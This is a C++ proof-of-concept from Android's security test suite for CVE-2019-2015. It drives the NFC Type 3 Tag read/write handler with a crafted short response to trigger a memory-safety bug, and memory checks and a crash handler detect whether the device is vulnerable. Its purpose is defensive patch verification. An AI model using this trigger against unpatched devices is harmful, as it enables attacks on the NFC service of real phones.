unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp

/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include "../includes/common.h"
#include "../includes/memutils.h"

#include <nfa_api.h>
#include <nfa_dm_int.h>
#include <nfa_rw_int.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>

bool testInProgress = false;

struct sigaction new_action, old_action;

void sigsegv_handler(int signum, siginfo_t *info, void *context) {
  if (testInProgress && info->si_signo == SIGSEGV) {
    (*old_action.sa_sigaction)(signum, info, context);
    return;
  }
  exit(EXIT_FAILURE);
}

char enable_selective_overload = ENABLE_NONE;
void *libHandle = nullptr;

/* States */
enum {
  RW_T3T_STATE_NOT_ACTIVATED,
  RW_T3T_STATE_IDLE,
  RW_T3T_STATE_COMMAND_PENDING
};

/* Enumeration of API commands */
enum {
  RW_T3T_CMD_DETECT_NDEF,
  RW_T3T_CMD_CHECK_NDEF,
  RW_T3T_CMD_UPDATE_NDEF,
  RW_T3T_CMD_CHECK,
  RW_T3T_CMD_UPDATE,
  RW_T3T_CMD_SEND_RAW_FRAME,
  RW_T3T_CMD_GET_SYSTEM_CODES,
  RW_T3T_CMD_FORMAT,
  RW_T3T_CMD_SET_READ_ONLY_SOFT,
  RW_T3T_CMD_SET_READ_ONLY_HARD,
  RW_T3T_CMD_MAX
};

tNFA_RW_MSG *p_data = nullptr;
tNFC_DATA_CEVT *p_data1 = nullptr;
extern void rw_t3t_data_cback(__attribute__((unused)) uint8_t conn_id,
                       tNFC_DATA_CEVT* p_data);
extern bool nfa_rw_activate_ntf(tNFA_RW_MSG* p_data);
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
tNFA_DM_CB nfa_dm_cb = {};
void rw_init(void);
void NFA_Init(tHAL_NFC_ENTRY *p_hal_entry_tbl);

extern void rw_t2t_handle_rsp(uint8_t *p_data);

void GKI_freebuf(void *p_buf __attribute__((unused))) {}

void GKI_start_timer(uint8_t, int32_t, bool) {}

void GKI_stop_timer(uint8_t) {}

void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
  (void)event;
  (void)p_rw_data;
}

void p_conn_cback(uint8_t event, tNFA_CONN_EVT_DATA *p_rw_data) {
  (void)event;
  (void)p_rw_data;
}

void exit_handler(void) {
  if (p_data) {
      if (p_data->activate_ntf.p_activate_params) {
          free(p_data->activate_ntf.p_activate_params);
          p_data->activate_ntf.p_activate_params = nullptr;
      }
      free(p_data);
      p_data = nullptr;
  }

  if (p_data1) {
      if(p_data1->p_data) {
          free(p_data1->p_data);
          p_data1->p_data = nullptr;
      }
    free(p_data1);
    p_data1 = nullptr;
  }
}
int main() {
  atexit(exit_handler);
  sigemptyset(&new_action.sa_mask);
  new_action.sa_flags = SA_SIGINFO;
  new_action.sa_sigaction = sigsegv_handler;
  sigaction(SIGSEGV, &new_action, &old_action);

  tNFC_ACTIVATE_DEVT p_activate_params = {};
  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
  FAIL_CHECK(rw_cb.p_cback == &poc_cback);

  GKI_init();
  rw_init();
  tHAL_NFC_ENTRY p_hal_entry_tbl;
  NFA_Init(&p_hal_entry_tbl);
  nfa_dm_cb.p_conn_cback = p_conn_cback;
  p_data = (tNFA_RW_MSG *)calloc(1, sizeof(tNFA_RW_MSG));
  FAIL_CHECK(p_data);

  p_data->activate_ntf.p_activate_params =
      (tNFC_ACTIVATE_DEVT *)calloc(1, sizeof(tNFC_ACTIVATE_DEVT));
  FAIL_CHECK(p_data->activate_ntf.p_activate_params);

  p_data->activate_ntf.p_activate_params->protocol = NFC_PROTOCOL_T2T;

  nfa_rw_activate_ntf(p_data);
  tRW_CBACK *p_cback = rw_cb.p_cback;
  FAIL_CHECK(p_cback);

  enable_selective_overload = ENABLE_ALL;
  nfa_rw_cb.cur_op = NFA_RW_OP_READ_NDEF;
  nfa_rw_cb.p_ndef_buf = (uint8_t *)calloc(1, sizeof(uint8_t));
  FAIL_CHECK(nfa_rw_cb.p_ndef_buf);

  tRW_T3T_CB *p_cb = &rw_cb.tcb.t3t;
  p_cb->rw_state = RW_T3T_STATE_COMMAND_PENDING;
  p_cb->cur_cmd = RW_T3T_CMD_CHECK;
  p_data1 = (tNFC_DATA_CEVT *)calloc(1, sizeof(tNFC_DATA_CEVT));
  FAIL_CHECK(p_data1);
  p_data1->p_data = (NFC_HDR *)calloc(3, sizeof(NFC_HDR));
  FAIL_CHECK(p_data1->p_data);
  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;

  NFC_HDR *p_msg = p_data1->p_data;
  p_msg->offset = 0;
  p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
  p[0] = NCI_STATUS_OK;

  uint8_t *p_t3t_rsp = p + 1;
  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
  memcpy(p_cb->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], NCI_NFCID2_LEN);
  uint8_t conn_id = 0;

  testInProgress = true;
  rw_t3t_data_cback(conn_id, p_data1);
  testInProgress = false;

  return EXIT_SUCCESS;
}